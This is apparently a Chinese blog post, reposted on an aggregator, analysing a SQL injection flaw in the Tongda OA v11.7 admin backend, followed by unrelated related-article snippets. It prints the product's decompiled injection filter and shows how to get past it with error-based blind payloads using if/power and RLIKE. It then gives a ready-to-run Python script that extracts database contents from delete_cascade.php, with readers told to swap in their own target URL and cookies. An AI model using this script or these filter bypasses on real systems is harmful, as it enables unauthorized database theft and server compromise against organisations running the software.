通达OA v11.7后台SQL注入

news/2024/11/8 11:58:20/

文章目录

  • 漏洞描述
  • 漏洞影响
  • 漏洞分析

漏洞描述

通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器。

漏洞影响

通达OA <= v11.7

漏洞分析

下载通达oa 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

这里我觉得麻烦就用11.5分析了,大致都差不多的,最多多了几个过滤。

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密
在这里插入图片描述

漏洞位置:/general/hr/manage/query/delete_cascade.php
在这里插入图片描述如果$condition_cascade不为空就把里面的\'替换为',然后执行。

原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理

在这里插入图片描述

addslashes()作用
在这里插入图片描述

我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
在这里插入图片描述我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。

在这里插入图片描述
我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。
在这里插入图片描述sql_injection()函数如下所示。

function sql_injection($db_string)
{$clean = "";$error = "";$old_pos = 0;$pos = -1;$db_string = str_replace("&#160;", " ", $db_string);while (true) {$pos = strpos($db_string, "'", $pos + 1);if ($pos === false) {break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (true) {$pos1 = strpos($db_string, "'", $pos + 1);$pos2 = strpos($db_string, "\\", $pos + 1);if ($pos1 === false) {break;}else {if (($pos2 == false) || ($pos1 < $pos2)) {$pos = $pos1;break;}}$pos = $pos2 + 1;}$clean .= "\$s\$";$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));$fail = false;if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("联合查询");}else {if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {$fail = true;$error = _("注释代码");}else {if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "sleep";}else {if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "benchmark";}else {if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("Load文件");}else {if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "cast";}else {if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ord";}else {if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ascii";}else {if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "extractvalue";}else {if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "updatexml";}else {if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("生成文件");}else {if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("exp");}else {if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {$fail = true;$error = "set file_priv";}}}}}}}}}}}}}if ($fail) {echo _("不安全的SQL语句:") . $error . "<br />";echo td_htmlspecialchars($db_string);exit();}else {return $db_string;}
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substrif等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示,1=1返回成功,1=2则报错,说明存在盲注
在这里插入图片描述
在这里插入图片描述
老规矩,直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):high = 132low = 32mid = (high+low)//2while high > low:char = flag+chr(mid)headers = {"cookie": urllib.parse.unquote(cookies)}target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \"0x28 END))".format(sql, i, hex(mid))s = requests.get(url=target, headers=headers)if '信息删除成功' in s.text:low = mid+1else:high = midmid = (high+low)//2if mid == 33 or mid ==132:exit(0)flag += chr(mid-1)print("[+] "+flag)

修改一下脚本中的url、cookie、和要执行的SQL语句即可
在这里插入图片描述


http://www.ppmy.cn/news/153514.html

相关文章

1110_win10专业版官方原版镜像64位

原版WIN10 1803专业版32位&#xff1a; thunder://QUFodHRwOi8veHoyLjgxMDg0MC5jb20vY25fd2luZG93c18xMF9jb25zdW1lcl9lZGl0aW9uc192ZXJzaW9uXzE4MDNfdXBkYXRlZF9tYXJjaF8yMDE4X3g4Nl9kdmRfMTIwNjM0NTIuaXNvWlo 原版WIN10 1803专业版64位&#xff1a; thunder://QUFodHRwOi8…

db2 v11安装

参考http://blog.51cto.com/feature09/2046506 参考 http://blog.csdn.net/yangyi1018/article/details/70050154 这篇安装的参考文章&#xff1a;http://www.qingpingshan.com/pc/fwq/235168.html 在官网下载的11.1的版本的。 v11.1_linuxx64_expc.tar.gz 我的软件存放位…

安装、配置HCL Domino V11

大家好&#xff0c;才是真的好。很多人在后台留言&#xff0c;或以对话的方式要安装包。通过数据对比&#xff0c;发现安装包需求远远超过技术的诉求、学习的渴望啊&#xff01;但协作者这里目前以技术分享为主&#xff0c;适当地会分享一些官方许可的诸如社区版本介质——但主…

Veeam Backup Replication v11比“十全十美”多了哪一点?

关注我们牛年牛气冲天 一年前&#xff0c;Veeam Backup & Replication v10发布时&#xff0c;人们给了它一个“十全十美”的昵称。一年之后&#xff0c;2021年3月2日&#xff0c;Veeam Backup & Replication v11如约而至&#xff0c;且看它如何实现超越&#xff1f; 又…

通达OA v11.6 RCE漏洞分析

hvv爆出rce按照网上exp进行复现成功获取shell&#xff0c;复现方式自行搜索&#xff08;很多&#xff09; 比较好奇 为什么要删除文件 这里从exp着手分析 import requeststarget"http://10.6.6.91:7890/" payload"<?php eval($_POST[z1feiyu]);?>"…

**The sip module implements API v11.0 to v11.2 but the PyQt5.QtCore module requires API v11.3**

*The sip module implements API v11.0 to v11.2 but the PyQt5.QtCore module requires API v11.3* 情况一 SIP版本不匹配 我在使用PyQt5时遇到了这个问题&#xff1a;“sip模块实现了API v11.0到v11.2&#xff0c;但PyQt5.QtWidgets模块需要API v11.3”pip列表sip 4.18&…

通达OA 漏洞复现之第一篇v11.x-v11.5任意用户登录

文章目录 漏洞简介漏洞原理影响范围环境搭建第一步 一路下一步安装第二步 设置端口第三步 本地访问漏洞复现方式一:抓包获取cookie信息第一步 访问/general/login_code.php第二步 提交数据到 /logincheck_code.php,获得Set-Cookie信息。第三步 验证登录/general/index.php方式…

MSMG ToolKit v11.2 DL

友情提醒一下&#xff0c;建议使用原版。精简操作系统要是被后门 看不懂英文的可以百度翻译&#xff0c;时间久了就明白嘛意思了 无非就那几个单词。如真要使用汉化版&#xff0c;优化版的 看好你的核心bin文件夹 MSMG ToolKit - By https://msmgtoolkit.in v11.2 Updated…